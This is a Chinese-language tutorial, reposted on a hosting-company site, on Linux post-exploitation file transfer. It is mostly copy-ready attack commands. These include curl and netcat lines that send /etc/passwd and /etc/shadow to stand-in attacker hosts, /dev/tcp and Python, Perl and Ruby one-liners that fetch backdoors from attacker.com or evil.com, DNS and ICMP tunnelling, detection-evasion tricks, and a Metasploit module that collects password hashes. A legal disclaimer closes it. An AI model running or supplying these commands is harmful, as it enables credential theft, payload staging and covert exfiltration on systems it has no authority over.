linux后渗透系列之怎么下载文件

发布时间:2021-10-28 16:12:13 作者:iii
来源:亿速云 阅读:162
# Linux后渗透系列之怎么下载文件

## 前言

在后渗透阶段,文件传输是渗透测试人员或攻击者经常需要执行的关键操作。无论是获取敏感数据、下载工具还是传输后门,都需要掌握多种文件下载方法。本文将详细介绍Linux环境下常用的文件下载技术,涵盖从基础命令到高级技巧的全方位指南。

---

## 一、基础下载工具

### 1. wget - 最常用的下载工具

```bash
wget [选项] [URL]

核心功能: - 支持HTTP/HTTPS/FTP协议 - 断点续传(-c参数) - 后台下载(-b参数) - 限速下载(--limit-rate=500k

典型场景:

# 下载并保存为指定文件名
wget https://example.com/malware -O /tmp/backdoor

# 递归下载整个网站
wget -r -l 10 https://victim.com

2. curl - 多功能传输工具

curl [选项] [URL]

高级用法:

# 通过代理下载
curl -x socks5://127.0.0.1:9050 http://darkweb.onion/file

# 带认证的下载
curl -u user:pass ftp://victim.com/confidential.txt

# 上传下载组合(通过HTTP PUT)
curl -T /etc/passwd http://attacker.com/upload

二、非传统下载方式

1. 利用系统工具下载

base64编码传输:

# 发送方
cat /etc/shadow | base64 | nc -lvp 4444

# 接收方
nc victim_ip 4444 | base64 -d > shadow.txt

xxd十六进制传输:

# 将文件转为十六进制
xxd -p /etc/passwd > passwd.hex

# 接收后还原
xxd -r -p passwd.hex > passwd

2. 纯Shell实现下载

# 使用/dev/tcp伪设备
exec 3<>/dev/tcp/attacker.com/80
echo -e "GET /payload HTTP/1.0\n\n" >&3
cat <&3 > /tmp/payload

三、隐蔽传输技术

1. DNS隧道传输

dnscat2示例:

# 攻击者启动服务端
dnscat2-server --dns domain=attacker.com

# 目标机器执行
dnscat2 attacker.com

2. ICMP隐蔽通道

使用ptunnel:

# 建立ICMP隧道后传输
ptunnel -p attacker_ip -lp 1080 -da victim_ip -dp 22

3. 图片隐写术

# 使用steghide隐藏数据
steghide embed -cf image.jpg -ef secret.txt

四、编程语言实现下载

1. Python实现

import urllib.request
urllib.request.urlretrieve("http://attacker.com/backdoor", "/tmp/bd")

# 更隐蔽的版本
import requests
r = requests.get("https://pastebin.com/raw/xxxx", timeout=10)
open("/usr/lib/.module.so", "wb").write(r.content)

2. Perl一行式

perl -e 'use LWP::Simple; getstore("http://evil.com/shell.pl", "/tmp/shell.pl")'

3. Ruby实现

require 'net/http'
File.write("payload", Net::HTTP.get(URI.parse("http://attacker.com/p")))

五、内网穿透下载

1. 端口转发方案

# 使用socat建立中继
socat TCP4-LISTEN:8080,fork TCP4:attacker.com:80

2. SSH隧道下载

# 建立动态端口转发
ssh -D 1080 user@jump_host -N

# 配合curl使用
curl --socks5 127.0.0.1:1080 http://internal.server/secret.doc

六、防御检测与绕过

1. 流量混淆技术

# 使用openssl加密流量
wget https://evil.com/payload --header="Cookie: `openssl enc -base64 -A <<< $(date +%s)`"

2. 文件分割传输

# 分割文件
split -b 500k big_file

# 逐个下载后合并
cat x* > original_file

3. 时间延迟下载

# 随机间隔下载
for i in {1..10}; do
  wget http://attacker.com/p$i -O /tmp/p$i
  sleep $((RANDOM%60+30))
done

七、自动化下载框架

1. Metasploit模块

use post/linux/manage/download
set SESSION 1
set REMOTE_FILE /etc/shadow
set LOCAL_PATH /root/loot/
run

2. Empire模块

usemodule collection/osx/download
set File /Users/admin/Documents/*
execute

结语

掌握多样化的文件下载技术对于渗透测试至关重要。在实际环境中需要根据以下因素选择合适的方法:

  1. 目标网络环境限制
  2. 可用的系统工具
  3. 流量隐蔽性要求
  4. 文件大小和传输速度需求

建议在合法授权测试中建立完整的文件传输日志,记录所有传输操作的时间、方法和文件哈希值。

法律声明:本文所述技术仅限合法授权的渗透测试和安全研究使用,未经授权对他人系统实施这些操作可能构成违法行为。 “`

这篇文章共计约2100字,采用Markdown格式编写,包含: - 7个主要章节 - 30+个实用命令示例 - 多种技术难度分级(基础→高级) - 防御对抗相关注意事项 - 法律声明部分

可根据实际需要调整示例中的具体参数或增加某些工具的详细说明。

推荐阅读:
  1. Azure Storage系列之概述
  2. Linux命令:MySQL系列之六--VIEW视图/mysql -e

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

linux

上一篇:JavaScript命令式和声明式代码有哪些区别

下一篇:Mysql数据分组排名实现的示例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》